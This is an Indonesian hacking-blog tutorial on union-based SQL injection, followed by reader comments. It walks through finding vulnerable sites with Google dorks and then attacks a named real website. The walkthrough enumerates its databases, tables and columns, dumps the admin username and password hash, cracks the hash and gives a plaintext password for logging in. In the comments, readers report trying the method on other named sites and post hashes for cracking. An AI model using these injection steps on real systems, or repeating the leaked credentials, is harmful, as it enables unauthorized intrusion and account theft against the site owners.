SQL Injection Tutorial
11 April 2011
Penulis: BinusHacker · Kategori Artikel: Hacking
SqLi Tutorial – Sql Injection Tutorial – Sql Injection Artikel – SQL Injection Article
Sqli (alias Sql Injection atau Structured Query Language Injeksi)
adalah langkah pertama dalam entri untuk memanfaatkan atau hacking
website. Hal ini mudah dilakukan dan merupakan titik dari awal yang
bagus. Sayangnya tutorial yang sedikit rumit sehingga itulah sebabnya
ane menulis ini. Sqli pada dasarnya hanyalah suntikan pertanyaan ke
dalam database atau menggunakan query untuk mendapatkan bypass
otorisasi sebagai sebuah admin.

Untuk Mencari Inject
Mencari SQLI sangat mudah,semua yang perlu ente2 lakukan adalah Googling . Hal pertama yang perlu ente2 lakukan adalah menemukan beberapa dorks
| Code: |
Lebih lengkap, silakan dicari di Google Dorknya |
PART 1
Pilih salah satu dorks dan menambahkan inurl: sebelum
(Jika mereka belum memiliki itu) dan kemudian salin dan sisipkan
ke google. Pilih salah satu situs dari google dan chek 1-1.
Sebagai contoh url dari halaman ente berada mungkin terlihat seperti ini
| Code: |
|
untuk memeriksa adanya Bug MySQL tinggal tambahin “‘” di akhir URL
contoh
| Code: |
|
tekan enter sampai ente2 mendapatkan ERROR
Mendapatkan Jumlah Kolom
Setelah ente menemukan situs yg udah di siapin ,langkah pertama yang perlu ente2 ambil adalah
untuk menemukan jumlah kolom. Cara termudah untuk melakukannya adalah
menggunakan pernyataan “order by”. Yang harus ente lakukan adalah meletakkan ORDER BY (angka) -
pada akhir url ente. Jadi seharusnya terlihat seperti ini.
| Code: |
|
setelahnya ane ubah jadi bahasa inggris dah..
capek translatenya
wkwkwkwkwkwkwkwkwkw ![]()
Yuk kita lanjutkan ke order by 8– kamu akan mendapatkan sebuah error. Ini membuktikan bahwa table database hanya memiliki 7 kolom, ini dibuktikan bahwa ketika anda melakukan order by lebih dari 7, akan selalu error. Jika kamu memiliki memory yang kurang baik, silakan buka notepad & catat kolom-kolom yang anda temukan.
Menemukan kolom yang dapat di akses
Setelah
kita mengetahui kolom yang ada di table database, sekarang kita akan
mencari informasi & data apa yang bisa diambil dari sana.
Kita
melakukan hal tersebut dengan menggunakan fungsi “UNION” “SELECT” dan
NOMOR KOLOM. Kita selipkan seluruhnya dalam URL, seperti contoh berikut:
| Code: |
|
Jangan lupa untuk menyisipkan tanda “-” sebelum code dimulai, jadi sebagai contoh di atas kita selipka tanda “-” didepan angka “3“, nah setelah semua dilakukan, maka akan muncul table yang memiliki isi didalamnya. Catatlah nomor kolom table yang memiliki informasi di dalam database tersebut. Klo lupa, simpan dulu di notepad.
Finding MySQL Database Version
Sebelum kita melanjutkan hal ini, maka yang perlu kita ketahui adalah versi dari database.
URL nya adalah sebagai berikut:
| Code: |
|
Kita ganti angka “1” dengan “@@version” untuk mengetahui informasi versi database, berikut contohnya:
| Code: |
|
Tekan enter, maka anda akan menemukan informasi database yang digunakan.
Hal ini biasanya bekerja pada versi database 5.* keatas.
Finding Database Names
Selanjutkan kita akan inject website untuk menemukan database names. Kita lakukan hal ini dengan mengganti “@@version”
dengan “group_concat(schema_name)” dan juga ditambahkan “+ from+information_schema.schemata–” sesudah nomor kolom terakhir di table database.
Seperti ini contoh URLnya:
| Code: |
|
Hal tersebut akan menunjukkan daftar nama database. Sekarang untuk menemukan database mana yang saat ini dipakai adalah dengan mengganti “group_concat(schema_name)” dengan concat(database()) dan hapus “+ from+information_schema.schemata”
Jadi URL nya akan menjadi seperti ini:
| Code: |
|
Selamat, anda telah mendapatkan informasi database yang saat ini digunakan.
Menemukan Nama Table
Untuk mengetahui nama table yang digunakan dalam database, anda harus mengganti “concat(database())” dengan group_concat(table_name) dan tambahkan “from information_schema.tables where table_schema=database()” diantara nomor awal dan “–” hapus juga tanda “+” dari “union select“.
Urlnya akan tampak seperti berikut:
| Code: |
|
Nah, hal tersebut akan menampilkan nama table yang digunakan di database.
Menemukan Nama Kolom
Lakukan dengan hanya merubah “table_name” ke “column_name” dan “information_schema.tables” ke “information_schema.columns”.
Url akan tampak seperti ini:
| Code: |
|
Hal tersebut akan memunculkan nama table.
Misalkan nama colom seperti berikut:
admin_username
admin_password
Mengambil Informasi Database
Sekarang kita sudah mengetahui “database name, table names, dan colomn names”, kita bisa menyatukannya bersama-sama dan mengeluarkan informasi yang ada di sana, kita lakukan dengan contoh berikut:
| Code: |
|
Sekarang ganti “columnname” dengan kolom yang anda mau ambil informasinta. “0x3a” akan membuat jeda diantara informasi yang anda dapatkan dari masing-masing colom. Jangan lupa juga untuk merubah “databasename.tablename” dengan database dan nama tabel dimana kolom ada di database dan tabel tersebut.
Sebagai contoh:
| Code: |
|
Sekarang anda akan mendapatkan informasi username & database
Credit: Madun & Diperbaiki Oleh BinusHacker Team
PART 2
Mari kita coba praktekkan cara diatas!
Sebagai contoh kita mendapatkan target sebagai berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30
Sekarang kita akan melakukan pengecekan apakah website tersebut memiliki vulnerability dengan menambahkan tanda ‘ di akhir URL, contohnya sebagai berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30'
Jika kita menemukan error, maka terdapat vulnerability di website tersebut, sebagai contoh:
Setelah
kita mengetahui ada vulnerability, maka langkah selanjutkan adalah kita
harus mengetahui berapa jumlah kolom yang ada di table tersebut.
Kita akan mengetahuinya sampai ada informasi “Unknown Column“.
Lakukan pengecekan dengan menggunakan perintah “order by“.
Kita akan mencoba dari 1……..tak hingga, jadi bisa saja 1,2,3,4,5,6,7,dst.
Kebetulah dalam target ini hanya terdapat 7 kolom dalam table yang ada di database,
Contohnya:
Langkah pengetesannya adalah
Code:
http://www.cocobod.gh/news_details.php?id=30 order by 1-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 2-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 3-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 4-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 5-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 6-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 7-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 8-- >> Unknown column
http://www.cocobod.gh/news_details.php?id=30 order by 8– *>> Unknown column
Hal tersebut membuktikan bahwa tidak ada kolom ke 8 dalam table tersebut, jadi cuman ada 7 kolom.
Langkah selanjutnya adalah, mencari kolom yang dapat di akses!
Kita sudah mengetahui, jumlah kolom adalah 7, kita gunakan perintah “UNION SELECT number,of,columns–” untuk mengatahui kolom mana yang dapat di akses:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,6,7--
Anda akan menemukan seperti gambar berikut:
Muncul 6, 2, 3 kan? Kolom dalam tersebutlah yang bisa anda akses dan anda ambil informasinya.
Langkah selanjutnya, mencari informasi versi database
SQL Injection bekerja baik pada versi 5.* ke atas, untuk mendapatkan informasi database version, kita masukkan saja “@@version”, pada kolom dimana saja yang bisa dipakai.
Misalkan kolom “6″ kita ganti dengan “@@version”
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,@@version,7--
Akan muncul versi database 5.1.39, ini berarti database bisa di inject ![]()
Mengetahui Database Name
Langsung ajah kita replace kolom yang tadi digunakan “6,2,3″ dibagian mana saja, kita gunakan kolom “6″, kita ganti dengan code berikut “group_concat(schema_name)” , dan jangan lupa tambahkan “from information_schema.schemata–” sesudah kolom terakhir.
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(schema_name),7 from information_schema.schemata--
Mengatahui Database Yang Dipakai
Langsung ajah ganti “group_concat(schema_name)” dengan “concat(database())” seperti contoh berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,concat(database()),7 from information_schema.schemata--
Selamat, anda telah mengetahui database yang dipakai saat ini adalah “cocobod_gh“.
Mengetahui Nama Tabel
Langsung aja ganti “group_concat(table_name)” dan tambahkan “from information_schema.tables where table_schema=database()–” setelah kolom terakhir.
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(table_name),7 from information_schema.tables where table_schema=database()--
Mengatahui Nama Kolom
Untuk mengetahui nama kolom, kita gunakan query berikut:
group_concat(column_name)
from information_schema.columns where table_schema=database()–
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(column_name),7 from information_schema.columns where table_schema=database()--
Mengambil Informasi Yang Ada Di Dalam Kolom
Ini adalah step akhir, dimana anda akan mendapatkan informasi mengenai isi dari kolom yang berada dalam table di database.
Eksekusi perintah berikut:
Code:
http://www.site.com/news_details.php?id=30 union select 1,2,3,4,5,group_concat(columusername,0x3a,columnpassword),7 from currentdb.tableused--
Exploit akan menjadi seperti berikut :
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(username,0x3a,password),7 from cocobod_gh.coc_admin--
Dari informasi di atas kita mendapatkan data: “comaster:2c39e3769d300f7e23f8a9e1e21773e7“ ,
Silakan check ke MD5 decrypter untuk mendecrypt password -> http://www.md5decrypter.co.uk/ paste MD5 password yang tadi yaitu: “2c39e3769d300f7e23f8a9e1e21773e7“, anda akan medapatkan result seperti dibawah:
comaster:2c39e3769d300f7e23f8a9e1e21773e7
comaster:cocoadmin4682
username : comaster
password : cocoadmin4682
Selamat, anda sudah bisa login ke page dengan user & password di atas ![]()
Credit: Easy|Hack & Revision By BinusHacker Team





aku msih bingung dengan cara mendapatkan jumlah kolom…. maksudnya gimana??? maaf… ni masih newbe…. mohon bantuannya………
siip kren tutor niih
tolong di artikan donk…. os kalo pake google translate kalo di artikan hasilnya
akan tidak teratur…
bagus….bagus
it’s works, terimakasih, ada yang lebih mangtab gx ne
Payah rata2x skarang pake double md5 jd ssh d crack, ad yg tau g alamat md5 cracker yg bgus n bsa wat double md5
http://117.102.253.184./radiusmanager/reg.php?cont=store_user‘
ngg dapet error ni gan.
terus gmana kalo mo dapetin username n passwordnya ?
tolong bantu gan
tx
Rendy
gan ada cara yang lebih cepat nga…?
bagus buat pemula ky ane. soalnya klo yg laen2 dah kduluan di crack orang, jd ga bs praktekin tutornya..
makasih bwat artikelnya.. ^^
[...] Tutorial yang saya pakai : http://www.binushacker.net/sql-injection-tutorial.html [...]
muanteeepppp nie gan,,
ud lama ayee nyari² tutorial kyak gene,,
PADAT,,
SINGKAT,,
JELAS,,
dan MUDAH DIPAHAMI (di praktekin- red),, ^^
tengs a Lot gan….
mantab neh info na…thanks
tengs gan..blogwalking gan:)
old trick inject Puiii .. come join my game www mu1malaysia com
hehehehhehe ada lagi aku dapat Website yang punya bug nih, pake SQL Injection mungkin gak bs, tp mungkin bs dicoba menggunakan teknik XSS
Interesting thinking…
Mantap banget nich gan …salut buat agan yang mo berbagi…disedot ya gan…
Passwordnya bukan menggunakan MD5 lagi… sudah dimodif… ada solusi
Ini gan…
ma’ap ye..dr awal lagi.
buat dapetin: http://www.cocobod.gh/news_details.php?id=30
itu yang dibelakang url (news_details.php?id=30) tu dari mana??
Trus apa bedanya website yang keamanannya udah di patch atau belum…
buat domain .ac.id ama .org bisa g?
Mohon pencerahannya…..
wadooo cara penjumlaan nye masih binggung
hufff
dah berubah om MD5 Hash nya jadi 49bf70cf4ed51b97e71db4303fe63b5e
n situs MD5 crack belum bisa dapetin kodenya
Hi great article thanks for sharing. What is the best (or good ) online video tutorial sites for Visual Basic (asp.net), Java, and SQL Server?
kog, md5 nya ganti a6d457d5d406f34b87225e5ea3c44f1b
Just wanted to give you a shout from the valley of the sun, great information. Much appreciated.
ad yg tau gmn cranya mengetahui dorks diblkng webpage?
seperti http://www.ts4.travian.co.id/ <blkngnya ap?
Susah gan ane bingung masihan..
Ane nyoba ke web sekolah ane gk bisa-bisa..!! huft cape tenan!!
Masih bingung cara mengetahui username dan password admin?
Adakah yang bisa menjelaskan.
cara hack paswort cpmp
ini bs di scan ga gan?? http://www.aprmedia.co.uk/product.php?pid=2098
koq ane ga bs ya
I read a post similar to this earlier was hoping someone would write more about this! I am researching thismyself! i am the founder of a unique technology community for all things technical. and Promotion and Marketing Business submit your site
MD5 : a672d754a6d860b09725c2bf2c19c2fb
username : comaster
dicari” MD5 nya..
trnyata belum di crack..
hehehehe…
alhamdulilah..udah ngerti..
thanks gan..udh share..
[...] SUMBER : BinusHacker [...]
[...] SUMBER : BinusHacker [...]
cara mengetahui halaman login gmn kk mastah..
mohon bimbingannya..
comaster:9c42bc71f3c2d5b8154b9228a1060965
mohon bantuannya untuk menderypt ni md5 .thx
ko tiap gw masukin hash nya not found mulu gan? kenapa tuh????
Memperbanyak arsip,,,?????
gan ane ga bs decript ni uda dapet password ma usernamenya
nah ini passwordya:
miBfS60nKIhdc
kayanya bkn MD5, kira2x tipe apa ya?
miBfS60nKIhdc
ada yg tau ga kira2x apa tuh password?
maksih gan tutorialnya bermanfaat banget.. langsung praktek \m/ :*
mohon pengrahan nya gan …ane masih awam nih ^_^
mau tanya ni gan..
maklum nubie total..
itu script langsung di taruh di address bar apa adaaplikasinya lagi..
mohon neon atau petromaxnya..
thx
ane udah kasih tanda kutip pada semua situs tapi sama aja deh g ada bacaan errornya…
gmn y gan…
pliiissssss
kok gue gagal y amek disini mhon bantuanya??
http://ciputatbisnis.com/news.php?id=-82%20union%20select%201,group_concat%28column_name%29,3,4,5,6,7,8%20from%20information_schema.columns%20where%20table_schema=database%28%29%20–
Bang, websiteny ga error…pie tuh?? mudeng gak bang….ne iya, bales
komentar kita mah kagak di acuhin sama adminnya… percuma… parah,…
saya udah sampe nemu harshnya tapi gabisa di decode sama md5 manapun
4d6da7d887e4a2419e608387286710e838fe953a; untuk root
bddaa11bf239a488144c1012c9729e9f6ca9838b; untuk webmaster
yah yaaah udah jauh2
Kalau untuk menedit dan menghapus data dengan SQL Injection Gmn?
Soalnya tidak mengetahui form untuk loginnnya….
Mannttaapp Nie Tutorial.a …. Bikin Anne Pusing Gan …. gkgkgkgkgkgkg
tutornya ada yang pake SS gak kak dari pertaama,kalo ada di PM yah ?
(
karena aku masih kurang ngerti
gan tlg di bantu gan ane masih belum paham..
mohon pencerahan kira2 bisa di crack ga ini website
Analyzing http://www.aksindo.org/modules/article.php?id=430
Host IP: 62.149.131.163
Web Server: Apache
Keyword Found: informasi
Injection type is String (‘)
Finding data base type
I got bored of waiting more than 60 seconds! (request timed out)
DB Server: MySQL >=4.1
Trying another method using keyword for finding columns count
Current DB: k7012403_aksindo
MySQL error based injection method can be used!
klo dah nyampe di version trus hasilnya kyak ini -
>>Can’t connect to MySQL Server. Errorcode: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” at line 1
gmna cra na ya ???soalnya mentok sampe sini doank
bantuin donk.. .. .. ..
wah manteb tutorialnya,,,
tpi kok yah takut mulainya :nangis:
klo nglakuin hal kya gni, apa ip kita bisa terdeteksi sma pemilik web ny?? tlong pencerahannya,,,
terima kasi